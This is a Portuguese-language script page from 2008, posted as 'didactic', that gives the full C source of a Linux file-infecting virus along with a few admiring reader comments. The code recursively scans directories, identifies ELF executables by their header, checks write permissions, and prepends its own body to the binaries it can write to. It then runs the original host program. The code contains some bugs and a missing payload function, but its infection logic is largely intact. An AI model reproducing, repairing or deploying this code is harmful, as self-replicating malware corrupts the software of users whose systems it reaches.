Vírus didático para Linux em C

Publicado por Geraldo José Ferreira Chagas Júnior 14/07/2008

[ Hits: 9.755 ]

Homepage: http://prginfo.blogspot.com

Download virus1.c




Código fonte usado no artigo:  

Vírus de computador e criação de um vírus em C/C++ (parte 1)
http://www.vivaolinux.com.br/artigos/verArtigo.php?codigo=8309

Esse vírus tem intuito de iniciar o pensamento lógico na criação de vírus e discutir as dificuldades de se criar um vírus para Linux comparando com a criação para vírus no Windows.

  



Esconder código-fonte

/*
    virus1.c

Obs.: os tipos de arquivos podem ser
10 - link simbólico         lxxx
8  - arquivo                -xxx
6  - arquivo de bloco       bxxx
4  - diretório              dxxx
2  - arquivo de caracter    cxxx
1  - arquivo de paginação   pxxx
*/

#include <dirent.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>

#define WA(m) m&0x02
#define WG(m) m&0x10
#define WO(m) m&0x80

#define tamVir 12239  /* Tamanho do Vírus */
char codvirus [tamVir]; /* conterá o código do vírus */

const int CABEC_EXEC[]={127, 69, 76, 70, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 3, 0, 1, 0, 0, 0}; /* Cabeçalho de um binário executável */

int _USER_;
int _GROUP_;
char *_PATH_;

void infecta (char *_arq, struct stat _attr)
{
   /*Essa técnica de infecção foi uma tentativa que deu certo,
     Foi feita gravando byte por bayte pois assim diminui em muito
     o tamanho do código, porém pode ser aperfeiçoado.
     No windows seria fácil, bastaria copiar o vírus para um arquivo
     temporário e depois copiar a arquivo a ser infectado no final do
     temporário, apagar o arquivo original e depois renomear o temp.
     No linux o buraco é "mais embaixo". Apesar de ter direito de escrita
     em um arquivo, o usuário pode não ter direito de escrita no diretório
     onde o arquivo se encontra. Logo não daria para criar o temporário.
     Então pode vir a pergunta. Por que não copia o arquivo para um temporário
     em um diretório qualquer, sobrescreve o vírus no futuro hospedeiro e inclui
     o temporário no final? O problema é que teria que varrer todo o disco
     procurando um diretório em que p usuário tivesse direito de escrita
     correndo o risco de não encontrar nenhum. Nem o próprio diretório do usuário
     home me dá garantia que posso escrever nele ou se o usuário que irá executar
     o vírus tem diretório home. Por que, então não guardar o executável na memória,
     sobrescrever o vírus no arquivo e incluir o conteúdo da memória no final?  Porque
     nada garante que dependendo do tamanho do executável e da memória disponível
     irá ter espaço suficiente, principalmente se estiverem sendo executados várias
     estâncias do vírus ao mesmo tempo. Como não temos problema de tempo, pois o vírus
     ficará na memória idefinidamente, essa solução me pareceu melhor.*/

   FILE *file_exec;
   FILE *file_tmp;

   char buf[1024];
   char *tmp;
   long i;
   
   if (!(file_exec=fopen(_arq, "rw+"))) return;

   tmp=(char *)malloc(strlen (_arq)+4);
   strcpy (tmp, _arq);
   strcat (tmp,".tmp");

   if (file_tmp=fopen(tmp, "w+"))     
   {

      unlink(tmp);
      /* Copiando o hospedeiro para o temporário */
      while (i=fread(buf,1,1024,file_exec)) fwrite(buf,1,i,file_tmp);

      /* Voltando ao início dos arquivos */
      fseek(file_tmp,0 ,SEEK_SET);
      fseek(file_exec,0 ,SEEK_SET);

      /* copiando para dentro do arquivo original, poupamos tempo com permissões */
      /*Gravando o código do vírus no arquivo temporário*/
      fwrite(codvirus,1,tamVir,file_exec);     
  
      /* voltando o original para depois do vírus */
      while (i=fread(buf,1,1024,file_tmp)) fwrite(buf,1,i,file_exec);
   } 
   free(tmp);
   close (file_tmp);
   close (file_exec);
}

void tentaInfectar (char *arq)
{
   FILE *file_exec;
   long ret;
   char bout[25];
   int i;

   /* vamos pegar os atributos do arquivo */
   struct stat attrib;   
   stat(arq, &attrib);
   
   /* verificando se o arquivo é binário
      Todo executavel binário assim como no windows
      tem um cabeçalho identificando. 
      Não sei o significado mas abri vários binários
      e sem excessão eles têm os seguintes primeiros
      24 byts = CABEC_EXEC */
     
   if (!(file_exec=fopen(arq,"r"))) return; /* se não temos direiro de leitura, não serve */
   
   ret = fread (bout, 1, 24, file_exec);
   /*Tem menos de 24 bytes, nem precisa testar, não é executável binário*/
   if (ret <= 0)
   { 
      close (file_exec);
      return;
   }

   for (i=0; i<=23; i++)      
   {
      /* Se tiver alguma diferença no cabeçalho, não é binário */
      if (CABEC_EXEC[i] != bout[i])
      {
         close (file_exec);
         return;         
      }
   }
 
   /* Se o usuário for root ou for igual ao dono do arquivo
      no caso do grupo, tem que ter direito de escrita
      outro caso é se o arquivo der direito de escrita para todos
      nestes 4 casos, podemos continuar */
   if ((_USER_ != 0) && (!(WA(attrib.st_mode))) && ((_USER_!=attrib.st_uid) || (!(WO(attrib.st_mode)))) && ((_GROUP_!=attrib.st_gid) || (!(WG(attrib.st_mode))))) return;

   infecta (arq, attrib);
}


void buscaInfecta (char *d)
{
   struct dirent *dir;
   DIR *path;
   char *strArq;
   char *dt;
   int tam;

   tam = strlen(d);
   dt=(char *)malloc (tam+1);
   strcpy (dt, d);
   /* retirando a barra do fim do nome em caso de diretório para ficar padrão
      quando for diretório a barra será recolocada*/
   if (dt[tam-1]=='/') 
   { 
      dt[tam-1]='{TEXTO}';  
      tam--; 
   }

   if (!(path=opendir (dt))) { free (dt); return; }
   while(dir = readdir(path)) 
   {  
      usleep (1000);
      strArq=(char *)malloc(tam + strlen (dir->d_name) + 2);
      strcpy (strArq, dt);
      strcpy (&strArq[tam], "/"); 
      strcpy (&strArq[tam+1], dir->d_name);

      if  ((dir->d_type==4) && (strcmp (dir->d_name,".")!=0) && (strcmp (dir->d_name,"..")!=0))
         buscaInfecta (strArq);
      else if (dir->d_type==8)
         tentaInfectar (strArq);

      free (strArq);
   }
   closedir (path);
   free (dt);
}

void pegaDadosExport (void)
{
    /* Pegando a Variavel PATH do sistema */
   _PATH_ = getenv("PATH"); 

   /* pegando id do usuário e do grupo do usuário que está executando a aplicação */
   _USER_ = getuid();
   _GROUP_= getgid();
}


int pegaCodVirus (char *exec)
{
   /* há 2 possibilidades. Ou foi digitado todo o caminho do arquivo
      ou o diretório do arquivo está no path */

   FILE *file_exec;
   char *diret;
   char *tmp;
   int i=0, j=0;
   int tamstr;
   int achou=0;
   long ret;

   /* caso não tenha digitado todo o path do arquivo */
   if (!(file_exec=fopen(exec,"r")))
   {
      tamstr=strlen(exec);

      /* Busca no PATH do sistema*/
      while (1)
      {
         if ((_PATH_[i]==':') || (_PATH_[i]=='{TEXTO}'))
         {
            tmp=&_PATH_[j];
            diret=(char *)malloc(i-j+tamstr+2);
            strncpy (diret, tmp, i-j);
            diret[i-j]='{TEXTO}';
            strcat (diret, "/");
            strcat (diret, exec);
         
            if (file_exec=fopen(diret,"r"))
            {
               free (diret); 
               achou = 1;
               break;
            }
            
            free (diret); 
            if (_PATH_[i]=='{TEXTO}') break;
            j=++i;
         }
         else i++;
      }
      if (!(achou)) return 0;
   }

   ret = fread (codvirus, 1, tamVir, file_exec);
   if (ret <= 0) /* Não conseguiu copiar todo o código do vírus*/
   { 
      close (file_exec);
      return 0;
   }

   close (file_exec);
   return 1;
}

void executaHospedeiro (char *exec, int qtde, char *param[])
{
   /* há 2 possibilidades. Ou foi digitado todo o caminho do arquivo
      ou o diretório do arquivo está no path */

   FILE *file_exec;
   FILE *file_tmp;
   char *diret;
   char *tmp;
   char tmpstr[1024];
   int i=0, j=0;
   int tamstr;
   int achou=0;
   long ret;
   char prog[512];

   /* caso não tenha digitado todo o path do arquivo */
   if (!(file_exec=fopen(param[0],"r")))
   {
      tamstr=strlen(param[0]);

      /* Busca no PATH do sistema*/
      while (1)
      {
         if ((_PATH_[i]==':') || (_PATH_[i]=='{TEXTO}'))
         {
            tmp=&_PATH_[j];
            diret=(char *)malloc(i-j+tamstr+2);
            strncpy (diret, tmp, i-j);
            diret[i-j]='{TEXTO}';
            strcat (diret, "/");
            strcat (diret, param[0]);
         
            if (file_exec=fopen(diret,"r"))
            {
               free (diret); 
               achou = 1;
               break;
            }
            
            free (diret); 
            if (_PATH_[i]=='{TEXTO}') break;
            j=++i;
         }
         else i++;
      }
      if (!(achou)) return;
   }

   strcpy (prog,exec);

   for (ret=1; ret<qtde; ret++)
   {
      strcat (prog," ");
      strcat (prog,param[ret]);
   }
   
   if (!(file_tmp=fopen(exec,"w+")))
   {
      close (file_tmp);
      return;
   }

   fseek(file_exec,tamVir,SEEK_SET);
   while (ret = fread (tmpstr, 1, 1024, file_exec)) fwrite (tmpstr, ret, 1, file_tmp);

   close (file_exec);
   close (file_tmp);

   chmod (exec,493);

   system (prog);

   unlink(prog);
   return;
}

int main (int argc, char *argv[])
{
   int i;

   i=fork();

   if (i==0)
   {
      pegaDadosExport ();

      /* pega o código binário do vírus para infectar os outros ou então pula a infecção */
      if (pegaCodVirus (argv[0])) buscaInfecta ("./");
      acao();
   }
   else executaHospedeiro ("./arqexec", argc, rgv);
}

Scripts recomendados

Simples gerador de números primos

Programa para cálculo vetorial

Exibi os números primos de um numero recebido pelo usuário, sem estrutura de repetição

Binário para Decimal, Hexa, Char

Lota o HD com bagaço


  

Comentários
[1] Comentário enviado por gabrielbiga em 24/01/2009 - 14:39h

Nossa cara! muito bacana esse teu vírus, o codigo ta muito bem organizado.
O unico problema é testar pra ver se funciona mesmo kkkkkkkkkkkkk

falows e parabéns.

[2] Comentário enviado por luizvieira em 02/06/2009 - 10:10h

Show!
Código muito bem escrito.
Vou analisá-lo melhor e testá-lo em uma MV.
[ ]'s

[3] Comentário enviado por maurixnovatrento em 10/05/2020 - 22:51h


É de dez anos atrás. Mas que é interessante é.

___________________________________
Conhecimento não se Leva para o Túmulo.


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts